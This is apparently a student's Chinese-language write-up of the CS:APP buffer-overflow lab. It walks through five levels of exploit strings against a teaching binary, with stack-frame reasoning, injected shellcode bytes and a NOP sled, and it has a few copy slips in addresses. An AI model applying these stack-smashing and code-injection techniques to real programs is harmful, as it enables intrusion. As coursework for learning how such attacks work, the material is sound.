緩衝區溢位(ICS實驗)
**
**
文字:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 bb 8 b 04 08
分析過程:
在getbuf函式中,在執行第一條語句之前,棧頂元素應該為正確的返回地址。
首先第一條語句向棧中push了一個ebx,使棧頂指標減少了4個位元組。然後接著將當前棧頂儲存在了ebp中。
接下來又講棧頂指標跟別減小了0x28和0xc,然後將ebp中儲存的指標減小0x28後賦給了eax,也就是將棧頂第一次減小0x28後的值賦給了eax。最後將eax壓入棧中,使棧頂指標再減少4。在執行call之前,棧頂指標一共減少了0x4+0x28+0xc+0x4。
執行完call之後,eax中儲存了讀入字串的首地址,將棧頂指標加了0x10後,棧頂指標回到了減小0x28之後的狀態,所以字串是從當前的棧頂開始存的。距離返回地址存放的的位置相差0x4+0x28,所以先輸入0x2c個位元組後,將smoke的其實地址以小端序的方式輸入,就會擠掉原來的返回地址,成功進入smoke。
通過檢視smoke函式可以檢視smoke 的首地址:
**
**
文字:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 e8 8b 04 08
00 00 00 00 2a 3c fa 6b
分析過程:
首先將要進入的返回地址改成fizz函式的首地址,這樣就能夠進入fizz函式。
+14和+16兩條語句可以看出,必須保證edx和eax中存的資料相等,而eax是從記憶體中呼叫的值,通過輸出可以發現,eax就是程式中儲存的cookie。
所以就要靠輸入的字串使edx中的值與eax相同。
在執行第一條語句push之前,rsp指向的地方是之前的返回地址的上方。也就是藍色箭頭指向的地方。
執行完push操作後,箭頭向後移動了四個位元組,指向了紅色剪頭的位置。將現在紅色的位置傳到了ebp中。
接下類又將棧頂指標減8到了綠色箭頭的位置。
最後將0x8(ebp)賦值給了edx,ebp中是紅色箭頭的位置,加八之後到了紫色箭頭,所以應該將eax中的值在返回地址後面的第五個位元組開始以字串的方式用小端序讀入,就可以保證比較的兩個數相等了
**
**
文字:
b8 2a 3c fa 6b a3 60 e1 04 08 68 39 8c 04 08 c3
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 18 3a 68 55
分析過程:
Bang函式要求eax與edx中的值相等,檢視這兩個暫存器可以知道,一個存的是cookie,另一個存的是global_value這個常數。並且這個初始值為1。
因為global_value的值存在記憶體中,所以需要通過彙編語句來修改他的值。因為程式在執行return函式的時候,是將rsp指向的地址中的操作取出來放到rip中執行,所以要想通過輸入的字串對程式進行修改,就要把字串的起始地址放到原來的返回地址中,這樣執行返回操作的時候,根據這個地址,rip中存的操作就會是輸入的字串所代表的操作。
首先在getbuf函式中找到字串開始的地址,發現這個地址存在了eax中,所以當程式執行到+12的時候,檢視eax的值,就可以得到這個要返回到的地址:
接下來就是修改操作了。應該先將cookie這個常數賦值給global_value。然後跳到bang函式中去。也就是將bang函式的首地址先push到棧中,再return,rip讀取剛剛調入到棧中的地址,就可以繼續執行bang函數了。彙編程式碼如下:
mov $0x6bfa3c2a,%eax
mov %eax,0x804e160
push $0x08048d21
ret
將這個彙編程式碼編譯成機器語言:
再對生成的.o檔案進行反彙編,檢視生成的機器程式碼:
將b8到c3將輸入字串的前一部分替換掉,就實現了操作。
**
**
文字:
b8 2a 3c fa 6b 68 a7 8c 04 08 c3 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 60 3a 68 55 18 3a 68 55
分析過程:
這個一共有兩個要求,第一個是要讓getbuf的返回值為cookie,第二個是要求程式不會察覺收到了攻擊。
第一個要求和上一個差不多,返回值儲存在eax中,所以應該將cookie的值mov到eax中,然後返回到getbuf的下一條指令的地址。
通過檢視test函式,可以看到返回地址應該是0x08048ca7。所以相應的攻擊程式碼就應該為:
mov $0x6bfa3c2a,%eax
push $0x08048d21
ret
將其反彙編後得到的二進位制程式碼放到輸入的字串的開頭就完成了第一個要求:
要滿足第二個要求,首先需要看棧中都儲存了什麼:
在test執行call指令之後,計算機將返回地址壓入到棧中,rsp為現在的藍色箭頭處。
接下來getbuf函式中將ebp壓入了棧中,rsp為紅色箭頭處。下一行將現在的rsp賦給了ebp。
接下來的操作都是對棧頂繼續進行壓入或者刪除元素操作,一直到+26的leave操作。leave操作的含義等價於下面兩條語句:
mov %ebp,%esp
pop %ebp
可見執行完leave之後,rsp回到了藍色剪頭的地方,同時將舊的ebp的值放回了暫存器中,所以要想不被發現,就應當把讀入的字串中的表示返回地址前面的4個位元組修改成舊的ebp的值。舊的ebp的值可以在剛剛進入getbuf函式的時候檢視:
**
**
文字:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90
90 90 90 90
90 b8 2a 3c
fa 6b 8d 6c
24 18 68 21
8d 04 08 c3
88 38 68 55
分析過程:
要完成的功能跟第四個差不多,唯一不同的就是一共要執行5次,每次執行的時候棧的地址都是隨機的,所以返回地址和ebp中儲存的地址都是不確定的。
首先處理如何正確的處理ebp的值。觀察對ebp的操作可知,ebp儲存了當前函式棧幀的起始地址。雖然進出函式的時候棧的地址是隨機分配的,但是,在執行函式的過程中,每一步的rsp和ebp的相對大小不會改變,也就是差值是不變的。
可以看到,在testn函式中,修改過ebp之後,在執行getbufn函式之前,esp的值又減小了0x18,所以從getbufn中返回後,ebp中應該存放的值就是當前的esp加上0x18,也就是0x18(%esp)。
所以我們要加入到程式中的彙編程式碼就應該是:
mov $0x6bfa3c2a,%eax
lea 0x18(%esp),%ebp
push $0x08048d21
ret
因為改變的只是棧的地址,但原始程式碼中的指令的地址不會改變,所以第三個語句的push可以直接將getbufn的下一行指令的地址push到棧中。
通過編譯成.o檔案再進行反彙編之後,可以得到二進位制程式碼:
再處理第二個問題,如何覆蓋返回地址。因為5次執行將讀入的字串儲存在了不同的地址中,所以只用第一次的儲存地址操作的話,程式只會在第一次執行出正確結果。
先跑一邊程式,看看5次字串儲存的首地址都在哪裡:
由於只能用一個確定的返回地址,為了每次返回是都能讀到輸入的字串,所以應該選擇棧指標最大的一個地址作為返回地址,這樣可以保證每次返回的時候都能從我們輸入的程式碼開始讀,但是這樣在其他四次返回的時候不是從字串的開頭開始。所以就需要用到nop指令,當機器讀到nop指令的時候,會繼續執行下一條指令。Nop指令對應的二進位制碼為90.
所以如果我們在輸入的字串的前半部分用90填充的話,那無論從任何地方開始讀字串中的操作,都會一直向後執行,一直執行到非nop操作。我們將反彙編的二進位制機器碼放到字串的最後,這樣所有5次讀取字串中的操作的時候,最終就都會跳到反彙編的那段指令,就可以正確的執行我們想要的操作了。
getbufn中,可以看到首先要讀入0x208位元組的字串,還要覆蓋ebp和返回地址,最後總的字串長度就應該是:0x208+0x4+0x4=0x210.總共528個位元組。